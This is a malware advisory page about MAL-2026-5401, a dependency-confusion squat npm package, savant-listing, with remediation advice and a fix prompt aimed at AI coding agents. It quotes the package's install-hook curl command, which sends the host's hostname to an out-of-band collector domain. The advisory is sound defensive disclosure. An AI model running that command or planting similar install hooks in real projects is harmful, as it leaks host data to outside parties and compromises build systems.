# MAL-2026-5401: Malicious code in savant-listing (npm)


- **Type:** Malicious package
- **Package:** `savant-listing` (npm)
- **Published:** 9 Jun 2026
- **Also known as:** GHSA-j69h-7gg8-2fxp, GHSA-j9c7-3gvf-x8xg

## What is MAL-2026-5401?

MAL-2026-5401 is a malicious package in savant-listing, published on 9 Jun 2026. 

### Official description

savant-listing@999.9.9 is a dependency-confusion squat. package.json declares both `install` and `postinstall` lifecycle scripts that run `curl https://d8fnie486mdq306lb5kgttwrnhxwj33g5.oast.online/info/?hostname=$(hostname)`, unconditionally exfiltrating the installer host's hostname to an out-of-band interaction (OAST/interactsh) collector on every `npm install`. The version `999.9.9` and description `SAFE PoC - Demonstrates dependency confusion` are consistent with a package published to the public registry to win version resolution over an internal package of the same name on victim build systems. The destination is a transient, attacker-controlled OAST subdomain not associated with any legitimate publisher; the harm fires automatically at install time without any user interaction.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-5401?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5401 is a malicious package: savant-listing (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5401/ (Markdown: https://insights.sbomify.com/MAL-2026-5401/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5401

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5401/
Summaries are generated and may contain mistakes; the official description above is the record.